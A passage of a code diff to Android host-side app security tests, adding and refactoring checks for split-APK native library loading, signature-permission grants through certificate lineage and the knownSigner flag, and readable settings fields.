+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAccessNativeSymbol_neitherBaseNorSplitExtracting_full() throws Exception {
+        testAccessNativeSymbol(false, false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAccessNativeSymbol_neitherBaseNorSplitExtracting_instant() throws Exception {
+        testAccessNativeSymbol(true, false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    private void testAccessNativeSymbol(boolean instant, boolean expectedLoadedLibrary,
+            String baseApk, String jniApk, String providerAApk, String providerBApk,
+            String providerProxyApk) throws Exception {
+        configureInstallMultiple(instant, baseApk, jniApk, providerAApk, providerBApk,
+                providerProxyApk).run();
+        if (expectedLoadedLibrary) {
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
+        } else {
+            runDeviceTests(PKG, TEST_CLASS, "testNative_cannotLoadSharedLibrary");
+            runDeviceTests(
+                    PKG,
+                    TEST_CLASS,
+                    "testNativeSplit_withoutExtractLibs_nativeLibraryCannotBeLoaded");
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 017787e..40e3394 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -750,6 +750,85 @@
         Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
     }
 
+    public void testInstallV3CommonSignerInLineageWithPermCap() throws Exception {
+        // If an APK requesting a signature permission has a common signer in the lineage with the
+        // APK declaring the permission, and that signer is granted the permission capability in
+        // the declaring APK, then the permission should be granted to the requesting app even
+        // if their signers have diverged.
+        assertInstallFromBuildSucceeds(
+                "v3-ec-p256-with-por_1_2_3-1-no-caps-2-default-declperm.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2_4-companion-usesperm.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+    }
+
+    public void testInstallV3CommonSignerInLineageNoCaps() throws Exception {
+        // If an APK requesting a signature permission has a common signer in the lineage with the
+        // APK declaring the permission, but the signer in the lineage has not been granted the
+        // permission capability the permission should not be granted to the requesting app.
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2_3-no-caps-declperm.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2_4-companion-usesperm.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermGrantedWhenCurrentSignerInResource() throws Exception {
+        // The knownSigner protection flag allows an app to declare other trusted signing
+        // certificates in an array resource; if a requesting app's current signer is in this array
+        // of trusted certificates then the permission should be granted.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-ec-p256-1-3.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256_3-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+
+        // If the declaring app changes the trusted certificates on an update any requesting app
+        // that no longer meets the requirements based on its signing identity should have the
+        // permission revoked. This app update only trusts ec-p256_1 but the app that was previously
+        // granted the permission based on its signing identity is signed by ec-p256_3.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermCurrentSignerNotInResource() throws Exception {
+        // If an app requesting a knownSigner permission does not meet the requirements for a
+        // signature permission and is not signed by any of the trusted certificates then the
+        // permission should not be granted.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-ec-p256-1-3.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermGrantedWhenSignerInLineageInResource() throws Exception {
+        // If an app requesting a knownSigner permission was previously signed by a certificate
+        // that is trusted by the declaring app then the permission should be granted.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-ec-p256-1-3.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+
+        // If the declaring app changes the permission to no longer use the knownSigner flag then
+        // any app granted the permission based on a signing identity from the set of trusted
+        // certificates should have the permission revoked.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-declperm.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasNoPerm");
+    }
+
+    public void testKnownSignerPermSignerInLineageMatchesStringResource() throws Exception {
+        // The knownSigner protection flag allows an app to declare a single known trusted
+        // certificate digest using a string resource instead of a string-array resource. This test
+        // verifies the knownSigner permission is granted to a requesting app if the single trusted
+        // cert is in the requesting app's lineage.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+    }
+
+    public void testKnownSignerPermSignerInLineageMatchesStringConst() throws Exception {
+        // The knownSigner protection flag allows an app to declare a single known trusted
+        // certificate digest using a string constant as the knownCerts attribute value instead of a
+        // resource. This test verifies the knownSigner permission is granted to a requesting app if
+        // the single trusted cert is in the requesting app's lineage.
+        assertInstallFromBuildSucceeds("v3-rsa-2048-decl-knownSigner-str-const-ec-p256-1.apk");
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-companion-uses-knownSigner.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+    }
+
     public void testInstallV3SigPermDoubleDefNewerSucceeds() throws Exception {
         // make sure that if an app defines a signature permission already defined by another app,
         // it successfully installs if the other app's signing cert is in its past signing certs and
@@ -1231,8 +1310,9 @@
                 "signatures do not match previously installed version");
     }
 
-    private boolean hasIncrementalFeature() throws DeviceNotAvailableException {
-        return getDevice().hasFeature("android.software.incremental_delivery");
+    private boolean hasIncrementalFeature() throws Exception {
+        return "true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery"));
     }
 
     private void assertInstallSucceeds(String apkFilenameInResources) throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index af9d4d2..9b0a243 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -108,7 +108,7 @@
         runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppPriorities");
     }
 
-    public void testPrivilegedAppUpgradePriorities() throws Exception {
+    public void testPrivilegedAppUpgradePrioritiesPreservedOnReboot() throws Exception {
         if (!isDefaultAbi()) {
             Log.w(TAG, "Skipping test for non-default abi.");
             return;
@@ -120,6 +120,10 @@
             assertNull(getDevice().installPackage(
                     mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
+
+            getDevice().reboot();
+
+            runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
         } finally {
             getDevice().uninstallPackage(SHIM_PKG);
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java
new file mode 100644
index 0000000..e38eb0a
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ReadableSettingsFieldsTest.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+/**
+ * Test that:
+ * 1) all the public fields annotated with @Readable in Settings.Secure, Settings.System,
+ * Settings.Global classes are readable.
+ * 2) hidden fields added before S are also readable, via their raw Settings key String values.
+ * 3) public fields without the @Readable annotation will not be readable.
+ *
+ * Run with:
+ * atest android.appsecurity.cts.ReadableSettingsFieldsTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ReadableSettingsFieldsTest extends BaseAppSecurityTest {
+    private static final String TEST_PACKAGE = "com.android.cts.readsettingsfieldsapp";
+    private static final String TEST_CLASS = TEST_PACKAGE + ".ReadSettingsFieldsTest";
+    private static final String TEST_APK = "CtsReadSettingsFieldsApp.apk";
+    private static final String TEST_APK_TEST_ONLY = "CtsReadSettingsFieldsAppTestOnly.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        new InstallMultiple().addFile(TEST_APK).run();
+        assertTrue(getDevice().isPackageInstalled(TEST_PACKAGE));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_PACKAGE);
+    }
+
+    @Test
+    public void testSecurePublicSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSecurePublicSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testSystemPublicSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSystemPublicSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testGlobalPublicSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testGlobalPublicSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testSecureSomeHiddenSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSecureSomeHiddenSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testSystemSomeHiddenSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testSystemSomeHiddenSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testGlobalSomeHiddenSettingsKeysAreReadable() throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testGlobalSomeHiddenSettingsKeysAreReadable");
+    }
+
+    @Test
+    public void testSecureHiddenSettingsKeysNotReadableWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testSecureHiddenSettingsKeysNotReadableWithoutAnnotation");
+    }
+
+    @Test
+    public void testSystemHiddenSettingsKeysNotReadableWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testSystemHiddenSettingsKeysNotReadableWithoutAnnotation");
+    }
+
+    @Test
+    public void testGlobalHiddenSettingsKeysNotReadableWithoutAnnotation()
+            throws DeviceNotAvailableException {
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testGlobalHiddenSettingsKeysNotReadableWithoutAnnotation");
+    }
+
+    @Test
+    public void testSecureHiddenSettingsKeysReadableWhenTestOnly()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        new InstallMultiple().addFile(TEST_APK_TEST_ONLY).addArg("-t").run();
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testSecureHiddenSettingsKeysReadableWithoutAnnotation");
+    }
+
+    @Test
+    public void testSystemHiddenSettingsKeysReadableWhenTestOnly()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        new InstallMultiple().addFile(TEST_APK_TEST_ONLY).addArg("-t").run();
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testSystemHiddenSettingsKeysReadableWithoutAnnotation");
+    }
+
+    @Test
+    public void testGlobalHiddenSettingsKeysReadableWhenTestOnly()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        new InstallMultiple().addFile(TEST_APK_TEST_ONLY).addArg("-t").run();
+        runDeviceTests(TEST_PACKAGE, TEST_CLASS,
+                "testGlobalHiddenSettingsKeysReadableWithoutAnnotation");
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index cbe07f0..4f1ff71 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -120,9 +120,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
@@ -169,9 +166,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
@@ -229,9 +223,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
@@ -291,9 +282,6 @@
                 deviceClearLskf();
             } finally {
                 removeTestPackages();
-
-                getDevice().rebootUntilOnline();
-                getDevice().waitForDeviceAvailable();
             }
         }
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 3fba518..fe773e6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -20,14 +20,21 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.FileNotFoundException;
 import java.util.HashMap;
+import java.util.Set;
 
 /**
  * Tests that verify installing of various split APKs from host side.
@@ -39,7 +46,7 @@
     static final String APK_NO_RESTART_FEATURE = "CtsNoRestartFeature.apk";
 
     static final String APK_NEED_SPLIT_BASE = "CtsNeedSplitApp.apk";
-    static final String APK_NEED_SPLIT_FEATURE = "CtsNeedSplitFeature.apk";
+    static final String APK_NEED_SPLIT_FEATURE_WARM = "CtsNeedSplitFeatureWarm.apk";
     static final String APK_NEED_SPLIT_CONFIG = "CtsNeedSplitApp_xxhdpi-v4.apk";
 
     static final String PKG = "com.android.cts.splitapp";
@@ -53,6 +60,7 @@
     static final String APK_xxhdpi = "CtsSplitApp_xxhdpi-v4.apk";
 
     private static final String APK_v7 = "CtsSplitApp_v7.apk";
+    private static final String APK_v23 = "CtsSplitApp_v23.apk";
     private static final String APK_fr = "CtsSplitApp_fr.apk";
     private static final String APK_de = "CtsSplitApp_de.apk";
 
@@ -64,6 +72,10 @@
     private static final String APK_mips64 = "CtsSplitApp_mips64.apk";
     private static final String APK_mips = "CtsSplitApp_mips.apk";
 
+    private static final String APK_NUMBER_PROVIDER_A = "CtsSplitApp_number_provider_a.apk";
+    private static final String APK_NUMBER_PROVIDER_B = "CtsSplitApp_number_provider_b.apk";
+    private static final String APK_NUMBER_PROXY = "CtsSplitApp_number_proxy.apk";
+
     private static final String APK_DIFF_REVISION = "CtsSplitAppDiffRevision.apk";
     private static final String APK_DIFF_REVISION_v7 = "CtsSplitAppDiffRevision_v7.apk";
 
@@ -73,10 +85,22 @@
     private static final String APK_DIFF_CERT = "CtsSplitAppDiffCert.apk";
     private static final String APK_DIFF_CERT_v7 = "CtsSplitAppDiffCert_v7.apk";
 
-    private static final String APK_FEATURE = "CtsSplitAppFeature.apk";
-    private static final String APK_FEATURE_v7 = "CtsSplitAppFeature_v7.apk";
+    private static final String APK_FEATURE_WARM = "CtsSplitAppFeatureWarm.apk";
+    private static final String APK_FEATURE_WARM_v7 = "CtsSplitAppFeatureWarm_v7.apk";
+    private static final String APK_FEATURE_WARM_v23 = "CtsSplitAppFeatureWarm_v23.apk";
+
+    private static final String APK_FEATURE_ROSE = "CtsSplitAppFeatureRose.apk";
+    private static final String APK_FEATURE_ROSE_v23 = "CtsSplitAppFeatureRose_v23.apk";
+
+    private static final String APK_REVISION_A = "CtsSplitAppRevisionA.apk";
+    private static final String APK_FEATURE_WARM_REVISION_A = "CtsSplitAppFeatureWarmRevisionA.apk";
+
+    // Apk includes a provider and service declared in other split apk. And only could be tested in
+    // instant app mode.
+    static final String APK_INSTANT = "CtsSplitInstantApp.apk";
 
     static final HashMap<String, String> ABI_TO_APK = new HashMap<>();
+    static final HashMap<String, String> ABI_TO_REVISION_APK = new HashMap<>();
 
     static {
         ABI_TO_APK.put("x86", APK_x86);
@@ -86,6 +110,14 @@
         ABI_TO_APK.put("arm64-v8a", APK_arm64_v8a);
         ABI_TO_APK.put("mips64", APK_mips64);
         ABI_TO_APK.put("mips", APK_mips);
+
+        ABI_TO_REVISION_APK.put("x86", "CtsSplitApp_revision12_x86.apk");
+        ABI_TO_REVISION_APK.put("x86_64", "CtsSplitApp_revision12_x86_64.apk");
+        ABI_TO_REVISION_APK.put("armeabi-v7a", "CtsSplitApp_revision12_armeabi-v7a.apk");
+        ABI_TO_REVISION_APK.put("armeabi", "CtsSplitApp_revision12_armeabi.apk");
+        ABI_TO_REVISION_APK.put("arm64-v8a", "CtsSplitApp_revision12_arm64-v8a.apk");
+        ABI_TO_REVISION_APK.put("mips64", "CtsSplitApp_revision12_mips64.apk");
+        ABI_TO_REVISION_APK.put("mips", "CtsSplitApp_revision12_mips.apk");
     }
 
     @Before
@@ -211,20 +243,81 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeSingle_full() throws Exception {
-        testNativeSingle(false);
+        testNativeSingle(false, false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeSingle_instant() throws Exception {
-        testNativeSingle(true);
+        testNativeSingle(true, false);
     }
-    private void testNativeSingle(boolean instant) throws Exception {
+
+    private InstallMultiple getInstallMultiple(boolean instant, boolean useNaturalAbi) {
+        final InstallMultiple installMultiple = new InstallMultiple(instant);
+        if (useNaturalAbi) {
+            return installMultiple.useNaturalAbi();
+        }
+        return installMultiple;
+    }
+
+    private void testNativeSingle(boolean instant, boolean useNaturalAbi) throws Exception {
         final String abi = getAbi().getName();
         final String apk = ABI_TO_APK.get(abi);
+        final String revisionApk = ABI_TO_REVISION_APK.get(abi);
         assertNotNull("Failed to find APK for ABI " + abi, apk);
 
-        new InstallMultiple(instant).addFile(APK).addFile(apk).run();
+        getInstallMultiple(instant, useNaturalAbi).addFile(APK).addFile(apk).run();
         runDeviceTests(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementBadly");
+        getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG).addFile(revisionApk).run();
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementWell");
+
+        getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG)
+                .addFile(APK_NUMBER_PROVIDER_A)
+                .addFile(APK_NUMBER_PROVIDER_B)
+                .addFile(APK_NUMBER_PROXY).run();
+        runDeviceTests(PKG, CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeSplitForEachSupportedAbi_full() throws Exception {
+        testNativeForEachSupportedAbi(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeSplitForEachSupportedAbi_instant() throws Exception {
+        testNativeForEachSupportedAbi(true);
+    }
+
+
+    private void specifyAbiToTest(boolean instant, String abiListProperty, String testMethodName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        final String propertyAbiListValue = getDevice().getProperty(abiListProperty);
+        final Set<String> supportedAbiSet =
+                AbiUtils.parseAbiListFromProperty(propertyAbiListValue);
+        for (String abi : supportedAbiSet) {
+            String apk = ABI_TO_APK.get(abi);
+            new InstallMultiple(instant, true).inheritFrom(PKG).addFile(apk).run();
+
+            // Without specifying abi for executing "adb shell am",
+            // a UnsatisfiedLinkError will happen.
+            IAbi iAbi = new Abi(abi, AbiUtils.getBitness(abi));
+            setAbi(iAbi);
+            runDeviceTests(PKG, CLASS, testMethodName);
+        }
+    }
+
+    private void testNativeForEachSupportedAbi(boolean instant)
+            throws DeviceNotAvailableException, FileNotFoundException {
+        new InstallMultiple(instant, true).addFile(APK).run();
+
+        // make sure this device can run both 32 bit and 64 bit
+        specifyAbiToTest(instant, "ro.product.cpu.abilist64", "testNative64Bit");
+        specifyAbiToTest(instant, "ro.product.cpu.abilist32", "testNative32Bit");
     }
 
     /**
@@ -236,20 +329,12 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeSingleNatural_full() throws Exception {
-        testNativeSingleNatural(false);
+        testNativeSingle(false, true);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeSingleNatural_instant() throws Exception {
-        testNativeSingleNatural(true);
-    }
-    private void testNativeSingleNatural(boolean instant) throws Exception {
-        final String abi = getAbi().getName();
-        final String apk = ABI_TO_APK.get(abi);
-        assertNotNull("Failed to find APK for ABI " + abi, apk);
-
-        new InstallMultiple(instant).useNaturalAbi().addFile(APK).addFile(apk).run();
-        runDeviceTests(PKG, CLASS, "testNative");
+        testNativeSingle(true, true);
     }
 
     /**
@@ -259,20 +344,37 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeAll_full() throws Exception {
-        testNativeAll(false);
+        testNativeAll(false, false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeAll_instant() throws Exception {
-        testNativeAll(true);
+        testNativeAll(true, false);
     }
-    private void testNativeAll(boolean instant) throws Exception {
-        final InstallMultiple inst = new InstallMultiple(instant).addFile(APK);
+    private void testNativeAll(boolean instant, boolean useNaturalAbi) throws Exception {
+        final InstallMultiple inst = getInstallMultiple(instant, useNaturalAbi).addFile(APK);
         for (String apk : ABI_TO_APK.values()) {
             inst.addFile(apk);
         }
         inst.run();
         runDeviceTests(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementBadly");
+
+        final InstallMultiple instInheritFrom =
+                getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG);
+        for (String apk : ABI_TO_REVISION_APK.values()) {
+            instInheritFrom.addFile(apk);
+        }
+        instInheritFrom.addFile(APK_NUMBER_PROVIDER_A);
+        instInheritFrom.addFile(APK_NUMBER_PROVIDER_B);
+        instInheritFrom.addFile(APK_NUMBER_PROXY);
+        instInheritFrom.run();
+        runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementWell");
+
+        runDeviceTests(PKG, CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
     }
 
     /**
@@ -284,20 +386,12 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testNativeAllNatural_full() throws Exception {
-        testNativeAllNatural(false);
+        testNativeAll(false, true);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testNativeAllNatural_instant() throws Exception {
-        testNativeAllNatural(true);
-    }
-    private void testNativeAllNatural(boolean instant) throws Exception {
-        final InstallMultiple inst = new InstallMultiple(instant).useNaturalAbi().addFile(APK);
-        for (String apk : ABI_TO_APK.values()) {
-            inst.addFile(apk);
-        }
-        inst.run();
-        runDeviceTests(PKG, CLASS, "testNative");
+        testNativeAll(true, true);
     }
 
     @Test
@@ -452,44 +546,65 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureBase_full() throws Exception {
-        testFeatureBase(false);
+    public void testFeatureWarmBase_full() throws Exception {
+        testFeatureWarmBase(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureBase_instant() throws Exception {
-        testFeatureBase(true);
+    public void testFeatureWarmBase_instant() throws Exception {
+        testFeatureWarmBase(true);
     }
-    private void testFeatureBase(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).run();
-        runDeviceTests(PKG, CLASS, "testFeatureBase");
+    private void testFeatureWarmBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmBase");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureApi_full() throws Exception {
-        testFeatureApi(false);
+    public void testFeatureWarmApi_full() throws Exception {
+        testFeatureWarmApi(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureApi_instant() throws Exception {
-        testFeatureApi(true);
+    public void testFeatureWarmApi_instant() throws Exception {
+        testFeatureWarmApi(true);
     }
-    private void testFeatureApi(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).addFile(APK_FEATURE_v7).run();
-        runDeviceTests(PKG, CLASS, "testFeatureApi");
+    private void testFeatureWarmApi(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v7).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmApi");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedBase() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedBase_full() throws Exception {
+        testInheritUpdatedBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedBase_instant() throws Exception {
+        testInheritUpdatedBase(true);
+    }
+    public void testInheritUpdatedBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedBase_withRevisionA", instant);
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedSplit() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedSplit_full() throws Exception {
+        testInheritUpdatedSplit(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedSplit_instant() throws Exception {
+        testInheritUpdatedSplit(true);
+    }
